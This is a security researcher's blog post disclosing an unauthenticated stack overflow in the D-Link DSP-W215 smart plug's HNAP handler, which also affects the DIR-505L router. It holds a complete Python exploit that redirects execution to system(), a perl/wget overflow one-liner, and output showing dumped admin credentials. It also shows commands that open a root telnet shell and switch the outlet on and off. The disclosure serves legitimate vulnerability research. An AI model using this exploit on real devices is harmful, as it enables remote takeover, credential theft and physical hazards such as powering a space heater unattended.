The D-Link DSP-W215 Smart Plug is a wireless home automation device for monitoring and controlling electrical outlets. It isn’t readily available from Amazon or Best Buy yet, but the firmware is up on D-Link’s web site.

TL;DR, the DSP-W215 contains an unauthenticated stack overflow that can be exploited to take complete control of the device, and anything connected to its AC outlet.

The DSP-W215 firmware contains all the usual stuff you would expect from a Linux-based device:

After unpacking and examining the contents of the file system, I found that the smart plug doesn’t have a normal web-based interface; you are expected to configure it using D-Link’s Android/iOS app. The apps however, appear to use the Home Network Administration Protocol (HNAP) to talk to the smart plug.

Being a SOAP-based protocol, HNAP is served up by a lighttpd server running on the smart plug, and the following excerpt from the lighttpd configuration file(s) shows that HNAP requests are passed off to the /www/my_cgi.cgi binary for processing:

... alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", ...

While HNAP is an authenticated protocol, some HNAP actions – specifically the GetDeviceSettings action – do not require authentication:

GetDeviceSettings only provides a list of supported actions and isn’t of much use by itself, but this does mean that my_cgi.cgi has to parse the request prior to checking for authentication.

HNAP request data is handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, do_hnap first processes the Content-Length header specified in the POST request:

Then, naturally, it reads content_length bytes into a fixed-size stack buffer:

The following C code is perhaps a bit clearer:

int content_length, i; char *content_length_str; char post_data_buf[500000]; content_length = 0; content_length_str = getenv("CONTENT_LENGTH"); if(content_length_str) { content_length = strtol(content_length_str, 10); } memset(post_data_buf, 0, 500000); for(i=0; i<content_length; i++) { post_data_buf[i] = fgetc(); }

From the memset it is obvious that the post_data_buf stack buffer is only intended to hold up to 500,000 bytes. Since the Content-Length header is trusted blindly, POSTing more than 500,000 bytes will overflow this buffer, but there are quite a few more variables on the stack; it takes 1,000,020 bytes to overwrite everything on the stack up to the saved return address:

# Overflow $ra with 0x41414141 perl -e 'print "D"x1000020; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/HNAP1/

What’s more, because the POST data is read into the buffer with an fgetc loop, there are no bad bytes – even NULL bytes are allowed. That’s nice, because at 0x00405CAC in my_cgi.cgi there is this little bit of code that loads $a0 (the first function argument register) with a pointer to the stack ($sp+0x28) and calls system():

We just need to overwrite the saved return address with 0x00405CAC and put whatever command we want to run onto the stack at offset 0x28:

import sys import urllib2 command = sys.argv[1] buf = "D" * 1000020 # Fill up the stack buffer buf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stack buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command string req = urllib2.Request("http://192.168.0.60/HNAP1/", buf) print urllib2.urlopen(req).read()

Even better, the stdout of any command we execute is returned in the server’s response:

eve@eve:~$ ./exploit.py 'ls -l /' drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var -rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www

We can dump configuration settings and admin creds:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin admin_user_pwd=200416 admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level admin_level=1 admin_user_name=admin storage_user_00=0/admin//

Or start up a telnet server to get a proper root shell:

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh' eve@eve:~$ telnet 192.168.0.60 Trying 192.168.0.60... Connected to 192.168.0.60. Escape character is '^]'. BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / #

After reversing a bit more of my_cgi.cgi, I found that all you need to do to turn the wall outlet on and off is execute /var/sbin/relay:

/var/sbin/relay 1 # Turns outlet on /var/sbin/relay 0 # Turns outlet off

You can run a little script on the smart plug to play blinkenlights:

#!/bin/sh OOK=1 while [ 1 ] do /var/bin/relay $OOK if [ $OOK -eq 1 ] then OOK=0 else OOK=1 fi done

Controlling a wall outlet can have more serious implications however, as exemplified the following D-Link advertisement:

While the smart plug may be able detect overheating, I suspect that it can only detect if the smart plug itself is overheating – it has no way to monitor the actual temperature of any devices plugged into the wall outlet. So, if you’ve left a space heater plugged in to the outlet and some nefarious person surreptitiously turns the outlet back on, you’re in for a bad day.

It’s unclear if the smart plug attempts to make itself remotely accessible (using UPnP port forwarding rules, for example), as the Android configuration app simply doesn’t work. It couldn’t even establish an initial connection to the smart plug, although my laptop had no problems. When it finally did, it refused to create a MyDlink account for remote access, with the very helpful error message “could not create account”. Although it said it had configured the smart plug to connect to my wireless network, the smart plug did not connect to my network, and it ceased to present itself as an access point for initial configuration. With the wireless borked and no ethernet connection, I was left with no means to further communicate with it. Oh, and there’s no hard reset button either. Ah well, it’s going in the bin anyway.

I suspect that anyone else who has purchased this device hasn’t been able to get it to work either, which is probably a good thing. At any rate, I’d be wary of connecting such a device to either my network or my appliances.

Incidentally, D-Link’s DIR-505L travel router is also affected by this bug, as it has a nearly identical my_cgi.cgi binary.

PoC code for both devices can be found here.